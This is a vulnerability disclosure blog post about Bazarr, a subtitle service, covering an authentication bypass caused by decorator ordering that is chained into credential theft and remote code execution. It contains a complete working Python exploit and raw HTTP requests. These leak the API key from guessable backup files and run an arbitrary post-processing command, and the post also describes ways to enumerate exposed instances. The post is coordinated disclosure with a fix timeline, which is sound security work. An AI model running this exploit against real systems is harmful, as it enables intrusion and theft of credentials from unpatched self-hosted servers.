carew.dev

A Bazarr Vulnerability: Auth Bypass to RCE

TL;DR

Bazarr versions 1.1.1 - 1.5.6 contains an authentication bypass vulnerability that allows an unauthenticated attacker to access protected API endpoints. By exploiting this bypass to retrieve a valid API key, an attacker can subsequently make API calls that result in remote code execution on the host running Bazarr.

Bazarr

Bazarr is a subtitle downloading service part of the *arr suite. It’s a fairly commonly deployed tool. Dockerhub has 100M+ downloads for it, but dockerhub isn’t super reliable for that. I’m prety sure they count any HEAD or OPTIONS call into their endpoint for it as a “download”.

The github repo has 4.2k stars and the discord support channel has 1.1k, so there’s a decent number of people running this service for sure.

There’s opt-out analytics in the app as well, and they publish the usage stats. At the time of writing this, they’re reporting about 86k users this month. usage stats showing 86k users downloaded 35M subtitles

Okay, well if I’m a threat actor that sounds great, I’d love to get nearly 100k devices. Let’s throw together a quick fingerprint and see how we can find these applications. I came up with a simple one for the landing page and shodan showed: 321 results

Hmm, 321 doesn’t seem like a lot, but these ones were trivial to find. Shodan doesn’t try and resolve domains, it’s just whatever IP scanning stumbles across. I think it’s pretty common in homelabs to be hosting lots of services behind different subdomains, at least that’s what I do.

What about CT Logs by subdomain? A query like DomainName LIKE "bazarr.%" would get you some number of domains that are likely targets. Checking crt.sh for this should give us a number of TLS certificates with bazarr.domain.tld in their common name(CN) or subject alternative name (SAN). Of course, crt.sh would be one place one could do a query like this, but it’s usually going to 502 in my experience. In one query I did get to succeed, I got back over a 1000 unique results in a truncated response. That’s something. If you did download a proper set of CT logs, you could probably pull a decent number of targets.

ProTip: wildcard subdomains would prevent this type of enumeration.

The Bug

# bazarr/app/ui.py
@check_login
@ui_bp.route('/' + FILE_LOG)
def download_log():
    return send_file(get_log_file_path(), max_age=0, as_attachment=True)

Do you see it?

This is a niche issue with python decorator order. When a python decorator is applied, they typically modify the function they’re applied to and return some wrapped version of it. So without knowing the actual details, one can imagine them being something like

def check_login(func):
    def wrapper(*args, **kwargs):
        if not login.is_valid():
            return 401
        return func(*args, **kwargs)
    return wrapper

def route(path):
    def dec(func):
        def wrapper(*args, **kwargs):
            return func(*args, **kwargs)
        ui_bp.routing[path] = wrapper
        return wrapper
    return dec

So what happens when these are applied? While, the intention is clearly that when you hit the /bazarr.log path, you’d have your login checked and then run the function.

Unfortunately, ui_bp.route is ran first, so it decorates the download_log function, registering it to run whenever the path is hit. And then the hollow wrapper is wrapped once more in a login check, so check_login ends up returning an outermost login wrapped function, but that function isn’t what was registered for the path!

Credential Leak

Okay, so we can download logs unauth. That’s I guess a flaw. But that’s not the only endpoint improperly wrapped. Most of the file is.

There’s a proxy endpoint in there, which I played around with for a while trying to see if I could turn it into some lateral movement, or trick it into making a localhost request. Looking back at my notes now I see I really tried that for a bit before exploring other avenues.

Then I noticed

@check_login
@ui_bp.route('/system/backup/download/<path:filename>', methods=['GET'])
def backup_download(filename):
    fullpath = os.path.normpath(os.path.join(settings.backup.folder, filename))
    if not fullpath.startswith(settings.backup.folder):
        return '', 404
    else:
        return send_file(fullpath, max_age=0, as_attachment=True)

Okay, so if I could guess a backup filename, I’d be able to download it. That’s something.

Turns out the backup filenames are always f"bazarr_backup_v{['version']}_{now}.zip". Helpfully, bazarr has a default backup configuration to perform a backup at 3am every sunday, which means the timestampt can be trivially guessed (seconds are not present). The /api/swagger.json unauthenticated endpoint contains the version information that can be used (also helpful in fingerprinting).

The backup.zip contains a bazarr.db file and the config.yaml. In the yaml is the system API key along with several other sensitive pieces of user information including credentials (passwords/api keys) for the 3rd party subtitle providers, and possibly API keys for other homelab resources (radarr/sonarr/jellyfin/etc).

Exploit

Okay, so we’ve got access to the system API key at this point, along with other useful creds. I wanted to know how one might leverage this into a full RCE chain.

There’s an api/system/settings endpoing that can be used to register “post processing commands” which will be run after subtitles are downloaded.

POST /api/system/settings
X-API-Key: <key fron backup/config.yaml>
...
------geckoformboundaryf54da7c17654559b1623140cda8d7fc4
Content-Disposition: form-data; name="settings-general-use_postprocessing"

true
------geckoformboundaryf54da7c17654559b1623140cda8d7fc4
Content-Disposition: form-data; name="settings-general-postprocessing_cmd"

touch /tmp/win
------geckoformboundaryf54da7c17654559b1623140cda8d7fc4--

Okay, so the post processing command is registered, we just have to convince the server to download some subtitles. This could happen naturally over time, but who knows when that would happen. Instead, let’s just upload our own subs.

Given you can find at least one movie or tv show in the database, you can upload subtitles for that show and trigger the post processing command.

First we solve for an identifier for a piece of media

GET /api/movies?start=0&length=1

Given at least one movie is in the database, we can find it’s radarrId in the response. Then upload new subtitles for it

POST /api/movies/subtitles?radarrid=<radarrId>&language=en&forced=false&hi=false
Content-Type=multipart/form-data
---boundary
Content-disposition: form-data; name=file; filename=example.srt
<valid subtitle file>

Reporting

Bazarr is a pretty small project, mainly driven by one primary developer, morpheus65535. They were a pleasure to work with. I reported the bug to them on April 18th, providing a git patch that should address the issue and they quickly turned around and had a fix for it.

PoC

What kind of vulnerability researcher would I be without a PoC?

$ python3 poc.py --host http://ip:6767/
INFO:root:Host is vulnerable to auth bypass
API key is 53539fa561e938b76535aa1cc19559fd
trying for RCE
found a movie entry with radarrId 166
Subtitles were pushed, postprocessing should be running
import argparse
import io
import datetime
import logging
import yaml
import zipfile

from urllib.parse import urljoin

import requests

logger = logging.getLogger()

session = requests.Session()
session.verify = False


def check_logfile(host):
    try:
        logpath = urljoin(host, "/bazarr.log")
        r = session.get(logpath)
        r.raise_for_status()
        with open("bazarr.log", "w") as f:
            f.write(r.text)
        logger.info("Host is vulnerable to auth bypass")
    except:
        logger.exception("Auth bypass seemed to fail to get log file")
        raise

def lastsunday():
    # The default backup schedule is
    # day 6, hour 3, weekly
    # so files like bazarr_backup_v1.5.6_2026.04.12_03.00.00.zip
    today = datetime.date.today()
    sunday = today - (datetime.timedelta(days=(today.weekday() + 1 ) % 7))
    return sunday.isoformat().replace('-','.')

def rce(host, apikey, payload):
    # the plan
    # first set the post processing command to your shell payload
    # POST /api/system/settings
    #------geckoformboundaryf54da7c17654559b1623140cda8d7fc4
    #Content-Disposition: form-data; name="settings-general-use_postprocessing"
    #
    #true
    #------geckoformboundaryf54da7c17654559b1623140cda8d7fc4
    #Content-Disposition: form-data; name="settings-general-postprocessing_cmd"
    #
    #touch /tmp/win
    #------geckoformboundaryf54da7c17654559b1623140cda8d7fc4--
    # Now, whenever something is downloaded successfully, it'll run the payload
    # we could wait, or we could force it along a bit by uploading some

    # So we'll query for a movie to get it's radarrId
    # GET /api/movies?start=0&length=1
    # TODO fallback to an episode if there are no movies /api/series then api/episode
    # get the .radarrId
    # POST /api/movies/subtitles?radarrid=<radarrId>&language=en&forced=false&hi=false
    # form-data for a file, filename=...srt, data=...

    # So as long as there exists at least one movie entry, we can get to full RCE from the apikey
    # (as the user bazarr runs as)
    headers = {
        "X-API-KEY": apikey
    }
    data = {"settings-general-use_postprocessing": (None, "true"),
            "settings-general-postprocessing_cmd": (None, payload)
    }
    resp = session.post(urljoin(host, "/api/system/settings"), headers=headers, files=data)
    resp.raise_for_status()

    # TODO if there are no movies, check for an episode?
    resp = session.get(urljoin(host, "/api/movies?start=0&length=1"), headers=headers)
    resp.raise_for_status()
    entry = resp.json()["data"][0]
    print(f"found a movie entry with radarrId {entry['radarrId']}")

    params = {
        "radarrid": entry['radarrId'],
        "language": "en",
        "forced": "false",
        "hi": "false"
    }
    # need to upload a real srt file
    data = {"file": ("example.srt", """1
00:00:00,000 --> 00:00:02,500
Welcome to the Example Subtitle File!""")}
    resp = session.post(urljoin(host, "/api/movies/subtitles"), params=params, headers=headers, files=data)
    resp.raise_for_status()
    print("Subtitles were pushed, postprocessing should be running")
    # known failure case, if it fails to save the subs (EPERM) postprocessing doesn't run

def exploit(host, payload):
    resp = session.get(urljoin(host, "/api/swagger.json"))
    resp.raise_for_status()
    appinfo = resp.json()["info"]
    print(f"Bazarr version info {appinfo}")

    # just use this to validate that the bypass still works
    check_logfile(host)

    backup_filename = f"bazarr_backup_v{appinfo['version']}_{lastsunday()}_03.00.00.zip"

    logpath = urljoin(host, f"/system/backup/download/{backup_filename}")
    r = session.get(logpath)
    r.raise_for_status()
    with zipfile.ZipFile(io.BytesIO(r.content)) as z:
        z.extractall("backup")
        config = yaml.safe_load(z.open('config.yaml'))

    print(f"API key is {config['auth']['apikey']}")

    print("trying for RCE")
    rce(host, config['auth']['apikey'], payload)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", required=True)
    parser.add_argument("--verbose", "-v", action='store_true')
    parser.add_argument("--payload")
    args = parser.parse_args()
    logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO)
    exploit(args.host, args.payload)

Note on Authentication

The core of this vulnerability is the authentication bypass. Bazarr can be configured in such a way that there is no authentication, and the rest of the exploit chain would still be possible in such a configuration.

When I went to check that the latest release addressed this vulnerability, I was shocked to see the PoC still worked! Only to realize that my local test instance didn’t have any authentication configured.

Just a reminder that if you’re going to host a service online, make sure to protect it with a secure password, or better yet an external auth service. I use Authelia personally since I love the idempotency that a single source of truth yaml file provides, but there’s lots of options for homelabbers. Don’t just expose your instances to the open internet.

Disclosure Timeline

DateEvent
2026/04/16Vulnerability discovered
2026/04/17Full chain to RCE PoC developed
2026/04/18Messaged lead developer on discord DMs
2026/04/27Developer confirms and commits fix
2026/07/05Version 1.6.0 released with fix
2026/07/26This blog published